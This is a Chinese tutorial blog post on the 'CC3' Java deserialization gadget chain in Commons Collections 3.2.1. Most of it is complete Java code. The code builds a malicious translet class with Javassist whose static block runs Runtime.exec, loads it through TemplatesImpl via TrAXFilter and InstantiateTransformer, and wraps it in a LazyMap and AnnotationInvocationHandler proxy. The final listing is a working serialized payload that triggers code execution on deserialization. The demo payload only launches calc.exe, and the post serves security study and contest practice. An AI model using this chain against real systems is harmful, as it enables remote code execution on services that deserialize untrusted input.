Java反序列化Commons-Collection篇03-CC3链 - 1vxyz - 博客园 这个写的不错
前言
一天进步一点点了,打awd训练让人把库都删了,菜死我了。
CC3
依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
</dependencies>
|
思路分析
这个链子的利用也是使用类加载字节码执行代码。
1 2 3 4 5
| TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()
|
再从newTransformer
到defineClass
的就是cc2里面的内容。
因为后续都差不多,这里就和前面反过来,逆序分析一下。
注意这里使用idea的快捷键ctrl+alt+F7
会方便许多
调用defineClass
解析字节码从TransletClassLoader
的defineClass
调用。
然后从TemplateImpl
调用的defineTransletClasses
方法调用defineClass
然后从TemplatesImpl
的getTransletInstance
实例化方法。
外面只有TemplatesImpl
的newTransformer
一个位置调用了。
从getOutputProperties
到newTransformer
编写
这里对CC2的部分位置说的不清晰的地方细说一下。
首先是需要给哪些值赋值:
这里需要其中的_name
不空,而_class
为空,但是这里都是_
开头的变量,也就是private,就要用反射来赋值了。
下一层需要在_bytecodes
非空,而且_tfactory
非空,因为它要调用方法。
然后就可以编写了:
_name
需要一个String
的值。随便给他来个String
就行- 然后就是
_bytecodes
,这个使用javassist
编写一个字节码就可以,上篇Java反序列化之CC2里面有具体写法。 - 然后就是
_tfactory
,这里对它要求不高,不为空即可。给它一个TransformerFactoryImpl()
的值就行。
这里反射上个方法方便写下。
1 2 3 4 5 6 7
| public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
|
字节码也生成一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*;
import java.io.IOException;
public class GenerateClass { public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("com.natro92.Evil"); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Evil" + System.nanoTime(); cc.setName(randomClassName); cc.writeFile(); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; } }
|
然后依次赋值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Natro92"); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil248611922548800.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
}
|
但是出现报错了,并没有运行。
报错了个空指针,点进去看一下:
发现这里的_auxClasses
爆出了一个空指针。
这个参数是一个瞬态参数,不太好赋值,因此可能要取想办法将父类是否是ABSTRACT_TRANSLET
我们还能注意到后面还判断了一个_transletIndex
是否小于零:
如果小于零会抛出异常,如果正常走这个不让_auxClasses
为空的方法的话还是在这里会报错,因为调试的时候我们可以在这里看到赋值为-1:
因此我们需要把它的父类构造为ABSTRACT_TRANSLET
但是因为是abstract
类型,还需要重写这个类的方法。
这里重写一下需要的evil类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
大概就是这样,也可以使用Javassist
来写比如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.*;
import java.io.IOException;
public class GenerateClass { public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("com.natro92.Evil"); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); cc.addMethod(CtNewMethod.make("public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xalan.internal.xsltc.TransletException[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {}", cc)); cc.addMethod(CtNewMethod.make("public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xml.internal.dtm.DTMDOMException {}", cc)); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class)); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");"; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "Evil" + System.nanoTime(); cc.setName(randomClassName); cc.writeFile(); } }
|
然后再解析这个class文件,重新运行即可,代码就被成功执行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Natro92"); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil250546845304900.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
}
|
链子不可能在这里就结束。
再往前找,谁调用了newTransformer
TrAXFilter
这个类,这里就有被调用,但是这个类不是可序列化的,只能从Class入口构造函数赋值。
这里没有像之前一样调用InvokerTransformer
而是InstantiateTransformer
。
判断是否是Class,然后获取这个Class构造器,然后实例化。
这里正好能实现templates.newTransformer();
因此我们按照这个地方调用的地方赋值:把Class[] paramTypes, Object[] args
处理好。
修改Poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Natro92"); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil250546845304900.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin"))); objectOutputStream.writeObject(object); }
public static Object deserialize(String fileName) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName))); return objectInputStream.readObject(); }
}
|
然后按照之前的链子完善一下前面的部分。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| package com.natro92;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3Test { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Natro92"); byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc3Test\\Evil250546845304900.class")); byte[][] codes = {code}; setFieldValue(templates, "_bytecodes", codes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); serialize(o); deserialize("secret.bin"); }
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception { Class<? extends Object> _class = object.getClass(); Field declaredField = _class.getDeclaredField(fieldName); declaredField.setAccessible(true); declaredField.set(object, value); }
public static void serialize(Object object) throws Exception { ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin"))); objectOutputStream.writeObject(object); }
public static Object deserialize(String fileName) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName))); return objectInputStream.readObject(); }
}
|
总结
又过了一遍cc2那个不明白的部分,这回明白多了。代码看起来也熟练多了。